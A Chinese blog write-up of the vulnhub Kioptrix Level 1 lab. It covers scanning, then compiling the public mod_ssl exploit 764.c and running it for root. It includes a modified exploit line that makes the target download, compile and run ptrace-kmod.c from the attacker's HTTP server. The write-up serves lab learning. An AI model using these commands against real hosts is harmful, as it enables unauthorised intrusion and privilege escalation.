您当前的位置: 首页 > 

仙女象

暂无认证

  • 0浏览

    0关注

    136博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

vulnhub Kioptrix: Level 1 (#1)

仙女象 发布时间:2021-11-16 22:40:52 ,浏览量:0

写在前面

(1)本文使用的方法是利用apache mod_ssl 2.8.4的Remote Buffer Overflow 漏洞(CVE-2002-0082)getshell并拿到root权限。

(2)网上有看到其他wp使用samba的漏洞来获取root权限,但我的环境上连接samba服务器都有问题:

网上查了一下,NT_STATUS_IO_TIMEOUT这个问题应该是samba服务器端的问题造成的,既然如此,也就没有再尝试这种方法了。

如果有哪位大神知道这个问题产生的原因,万望告知,感谢~

(3)强烈建议打这个靶机之前先整一份干净的备用靶机……

正文 步骤1:获得目标主机IP地址

确认网段ip

 用arp-scan扫描网段主机

sudo arp-scan 192.168.101.1/24

得到目标主机地址192.168.101.15

 或者也可以用nmap扫描网段存活主机

sudo nmap -sn 192.168.101.1/24

 更多扫描网段存活主机的方法可参见下文:

内网存活主机探测的几种方法 - 春告鳥 - 博客园 (cnblogs.com)https://www.cnblogs.com/Cl0ud/p/13802852.html

步骤2:扫描端口

为了节约时间仅扫描端口号1-10000

sudo nmap -sS -A -p 1-10000 192.168.101.15

扫描结果中几个比较可能存在问题的:

(1)apache 1.3.20

(2)mod_ssl 2.8.4

(3)OpenSSL 0.9.6b

(4)Samba(版本不知道)

第3步:访问80和443端口(无有用结果)

443端口访问不了,80端口如下,好像没什么

 第4步:dirbuster扫描(无有用结果)
sudo dirbuster -u http://192.168.101.15/

没扫到什么有用的

第5步:用nikto扫描
nikto -host 192.168.101.15

有收获,扫到几个过期组件和漏洞,由于本关是要拿root权限,所以重点关注下getshell的漏洞,如下图红框所示

(上图最下面几个backdoor file manager似乎都是误报,尝试访问都是not found)

第6步:上exploit-db找exp

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)https://www.exploit-db.com/

根据nikto的扫描结果,找一下mod_ssl 2.8,我下载了下图红框中那个日期比较新,并且经过验证的。下载下来的文件名字叫764.c,把这个文件拷贝到kali linux中。

第7步: 编译执行exp,完成攻击

(1)编译:

gcc -o 764 764.c -lcrypto

遇到如下图所示问题

 解决方法是安装 OpenSSL 开发包

sudo apt-get install libssl-dev

再次编译,又遇到好多问题,一张图都截不完:

按照下面这篇文章修改764.c即可

Compiling exploit 764.c in 2017 (using libssl-dev 1.1.0f ) - Hypn.za.nethttps://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/重新编译之后,编译成功

(2)执行

输入./764可以查看使用方法,target需要根据nmap扫描出来的系统和apache版本信息,参照下图中的Supported OffSet来确定

命令行输入

./764 0x6b 192.168.101.15 443 -c 40

结果没有成功,原因是和下载提权脚本的网站建立不了SSL连接

在攻击机kali上试了一下是可以成功下载的,于是灵光一现,在攻击机上执行下面的命令,先把ptrace-kmod.c下载到攻击机上

wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

然后下面的命令在攻击机上起一个简单的http服务

python -m SimpleHTTPServer 7777

764.c中COMMAND2赋值那一行(经过上面的修改之后应该是672或者673行) 修改为

#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://192.168.101.16:7777/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"

这样,执行exp之后,靶机就不会再从外网下载提权用的ptrace-kmod.c,而是直接从攻击机上下载。

再重新执行命令

./764 0x6b 192.168.101.15 443 -c 40

就可以成功拿到root权限

到这里,利用apache mod_ssl 2.8.4的Remote Buffer Overflow 漏洞(CVE-2002-0082)getshell并拿到root权限的方法就结束了。

比较可恶的是,提权执行成功之后,没有提示……也不显示当前用户……搞得我以为提权没成功,还折腾了一会儿-_-|||

后来看了别人的wp,发现其实也可以用exploit-db上2019年的那个脚本,只要改COMMAND2赋值那一行就行了,更方便一点。

11.18 后记

据一位不愿意透露姓名的机智的小伙伴推断,samba登录不上应该是因为靶机的samba版本太低了,和现在的kali上的smbclient不兼容了。他用msf探测出了samba的版本,然后在exploit-db上找到了exp,成功getshell并提权。据说比本文的方法方便许多-_-|||

关注
打赏
1661867686
查看更多评论
立即登录/注册

微信扫码登录

0.8938s